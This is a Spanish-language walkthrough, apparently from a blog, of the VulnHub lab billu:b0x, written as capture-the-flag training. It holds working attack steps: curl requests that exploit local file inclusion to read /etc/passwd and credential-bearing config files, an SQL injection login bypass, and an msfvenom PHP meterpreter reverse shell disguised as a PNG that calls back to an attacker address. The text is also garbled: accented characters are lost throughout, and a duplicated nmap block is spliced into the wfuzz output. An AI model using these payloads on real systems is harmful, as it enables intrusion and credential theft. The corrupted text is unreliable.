Recientemente han publicado nuevas m�quinas vulnerables en VulnHub, una nueva oportunidad para enfrentarnos a nuevos y diferentes labs y de forma totalmente gratuita. Hoy vamos a ver c�mo resolver una de ellas, concretamente billu:b0x de Team Indishell (@IndiShell1046), as� que si segu�s leyendo os encontrar�is con
spoilers, avisados est�is... ;)
Empezamos con el t�pico escaneo de puertos mediante nmap para descubrir los puertos y servicios corriendo en la VM:
nmap -T4 -A -v -p- 192.168.1.22Nmap scan report for 192.168.1.22
Host is up (0.00030s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 0.020 days (since Thu Apr 27 18:09:17 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Al acceder a la aplicaci�n web vemos que van a poner a prueba nuestras habilidades para encontrar una inyecci�n SQL:
http://192.168.1.22/
Inicialmente lanzamos un ataque con el Intruder (Burp) y el diccionario de wfuzz con payloads SQL (
wfuzz/wordlists/injections/SQL.txt), aunque no obtenemos ning�n resultado positivo:
Seguimos investigando un poco haciendo un fuzzing de directorios con wfuzz y el diccionario big de Seclist:
# ./wfuzz.py -c -z file,/diccios/SecLists/Discovery/Web_Content/big.txt --hc 404 http://192.168.1.22/FUZZ
Nmap scan report for 192.168.1.22
Host is up (0.00030s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
********************************************************
* Wfuzz 2.1.5 - The Web Bruteforcer *
********************************************************
Target: http://192.168.1.22/FUZZ
Total requests: 20469
==================================================================
ID Response Lines Word Chars Request
==================================================================
01701: C=200 8 L 28 W 307 Ch "add"
03850: C=200 1 L 0 W 1 Ch "c"
04296: C=403 10 L 30 W 288 Ch "cgi-bin/"
08760: C=200 157 L 302 W 2793 Ch "head"
09332: C=301 9 L 28 W 313 Ch "images"
09479: C=200 644 L 3083 W 47668 Ch "in"
09530: C=200 166 L 357 W 3267 Ch "index"
13389: C=302 146 L 273 W 2469 Ch "panel"
13779: C=301 9 L 28 W 312 Ch "phpmy"
16176: C=403 10 L 30 W 293 Ch "server-status"
16398: C=200 1 L 0 W 1 Ch "show"
17825: C=200 0 L 11 W 72 Ch "test"
18715: C=301 9 L 28 W 322 Ch "uploaded_images"
20462: C=403 10 L 30 W 289 Ch ".htaccess"
20463: C=403 10 L 30 W 289 Ch ".htpasswd"
Total time: 16.60409
Processed Requests: 20469
Filtered Requests: 20454
Requests/sec.: 1232.768
De los recursos encontrados, destaca la respuesta al acceder a test:
http://192.168.1.22/testmediante �sta, es f�cil deducir que es posible que el par�metro file sea vulnerable a LFI. Y podemos comprobar que, efectivamente, si lo es mediante una sencilla petici�n POST con curl:
# curl -X POST --data "file=/etc/passwd" http://192.168.1.22/testroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash
Ahora que tenemos un LFI podemos usarlo tambi�n para leer el c�digo fuente del formulario de login y entender c�mo construir el payload para la posible inyecci�n SQL:
# curl -X POST --data "file=./index.php" http://192.168.1.22/test | moreselect * from auth where pass=.$pass. and uname=.$uname.Con el c�digo fuente todo es mucho m�s f�cil... s�lo nos faltaba a�adir el car�cter backslash al final de cada payload en cada uno de los par�metros:
Payload:
Or 1=1 -- select * from auth where pass= ?Or 1=1 -- and uname= ?Or 1=1 -- Si introducimos el payload en el formulario bypassearemos la autenticaci�n:
http://192.168.1.22/panel.php
�SQLi explotado! ;)
Continuamos "explorando" los recursos descubiertos en el crawling:
# curl -X POST --data "file=./c.php" http://192.168.1.22/test
Como veis tenemos la cadena de conexi�n a la base de datos, con el usuario y la contrase�a en claro...
El siguiente en leer es el fichero de configuraci�n por defecto de phpMyAdmin, en el que encontraremos tambi�n credenciales en claro:
curl -X POST --data "file=/var/www/phpmy/config.inc.php" http://192.168.1.22/test Finalmente todo acaba "abruptamente" al comprobar que las credenciales efectivamente son las del usuario root y tenemos acceso con las mismas mediante ssh:
ssh root@192.168.1.22
�Hasta la pr�xima!
Espera, espera... �y si no hubi�semos tenido acceso al servicio SSH de la m�quina ni la contrase�a de root?... �podr�amos subir una shell y escalar privilegios? Veamos...
Primero creamos nuestra shell en formato png:
?echo 89504E470D0A1A0A | xxd -r -p > shell.png
?msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.63 lport=443 -f raw >> shell.png
Vemos que el formato png no es interpretado, miramos la configuraci�n del htaccess:
No hay allowoverride, buscamos otras formas de interpretar la shell.
El fichero test.php no es buen candidato porque usa la funcion readfile:
Necesitamos �incluir" el c�digo php de alguna manera... Vemos esta petici�n en el panel.php al mostrar usuarios:
Cargamos ah� nuestra shell:
�Booom!
Ahora que tenemos shell nuestro siguiente y �ltimo paso ser� intentar escalar privilegios para llegar a ser root. Lo primero que haremos ser� ver la versi�n del kernel de la m�quina:
y despu�s buscar los exploits disponibles:
�Bingo! Descargamos y ejecutamos el exploit:
y ya somos root como
D10s manda..
Ahora s�.. �Hasta la pr�xima!
